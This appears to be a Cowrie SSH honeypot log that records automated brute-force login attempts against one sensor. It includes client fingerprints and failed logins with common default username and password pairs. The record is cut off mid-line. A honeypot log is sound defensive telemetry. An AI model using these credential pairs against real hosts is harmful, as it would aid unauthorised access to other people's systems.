{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:08.118003Z","src_ip":"176.65.139.95","session":"34b011248a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:08.755102Z","src_ip":"176.65.139.95","session":"34b011248a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:09.840506Z","src_ip":"176.65.139.95","session":"34b011248a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35200,"dst_ip":"159.203.135.109","dst_port":22,"session":"753cea560d47","protocol":"ssh","message":"New connection: 176.65.139.95:35200 (159.203.135.109:22) [session: 753cea560d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:13.809358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:13.816919Z","src_ip":"176.65.139.95","session":"753cea560d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:13.900476Z","src_ip":"176.65.139.95","session":"753cea560d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:14.407881Z","src_ip":"176.65.139.95","session":"753cea560d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:15.492652Z","src_ip":"176.65.139.95","session":"753cea560d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56280,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4a085efc3d7","protocol":"ssh","message":"New connection: 176.65.139.95:56280 (159.203.135.109:22) [session: b4a085efc3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:20.227317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:20.289701Z","src_ip":"176.65.139.95","session":"b4a085efc3d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:20.522380Z","src_ip":"176.65.139.95","session":"b4a085efc3d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:20.977092Z","src_ip":"176.65.139.95","session":"b4a085efc3d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:22.062804Z","src_ip":"176.65.139.95","session":"b4a085efc3d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56302,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b64c17fb538","protocol":"ssh","message":"New connection: 176.65.139.95:56302 (159.203.135.109:22) [session: 3b64c17fb538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:27.130077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:27.135106Z","src_ip":"176.65.139.95","session":"3b64c17fb538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:27.223379Z","src_ip":"176.65.139.95","session":"3b64c17fb538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:27.533370Z","src_ip":"176.65.139.95","session":"3b64c17fb538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:28.622811Z","src_ip":"176.65.139.95","session":"3b64c17fb538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38960,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7682b0bb0aa","protocol":"ssh","message":"New connection: 159.203.92.129:38960 (159.203.135.109:22) [session: d7682b0bb0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:30.689492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:30.694217Z","src_ip":"159.203.92.129","session":"d7682b0bb0aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:30.701231Z","src_ip":"159.203.92.129","session":"d7682b0bb0aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LXH","password":"123456","message":"login attempt [LXH/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:30.712459Z","src_ip":"159.203.92.129","session":"d7682b0bb0aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:31.745600Z","src_ip":"159.203.92.129","session":"d7682b0bb0aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37234,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d9c7f0f4e43","protocol":"ssh","message":"New connection: 176.65.139.95:37234 (159.203.135.109:22) [session: 5d9c7f0f4e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:33.563793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:33.568027Z","src_ip":"176.65.139.95","session":"5d9c7f0f4e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:33.651233Z","src_ip":"176.65.139.95","session":"5d9c7f0f4e43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:33.955493Z","src_ip":"176.65.139.95","session":"5d9c7f0f4e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:35.056677Z","src_ip":"176.65.139.95","session":"5d9c7f0f4e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":56018,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cb39efde33c","protocol":"ssh","message":"New connection: 78.128.112.74:56018 (159.203.135.109:22) [session: 6cb39efde33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:37.736328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:37.934380Z","src_ip":"78.128.112.74","session":"6cb39efde33c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:37.937623Z","src_ip":"78.128.112.74","session":"6cb39efde33c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"abc","message":"login attempt [user/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:39.287428Z","src_ip":"78.128.112.74","session":"6cb39efde33c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:40.412444Z","src_ip":"78.128.112.74","session":"6cb39efde33c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39464,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f4893d12b64","protocol":"ssh","message":"New connection: 176.65.139.95:39464 (159.203.135.109:22) [session: 5f4893d12b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:40.561045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:40.565931Z","src_ip":"176.65.139.95","session":"5f4893d12b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:40.650463Z","src_ip":"176.65.139.95","session":"5f4893d12b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:40.917285Z","src_ip":"176.65.139.95","session":"5f4893d12b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:42.003153Z","src_ip":"176.65.139.95","session":"5f4893d12b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39480,"dst_ip":"159.203.135.109","dst_port":22,"session":"2eec1c03dc94","protocol":"ssh","message":"New connection: 176.65.139.95:39480 (159.203.135.109:22) [session: 2eec1c03dc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:46.989187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:54:46.993174Z","src_ip":"176.65.139.95","session":"2eec1c03dc94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ec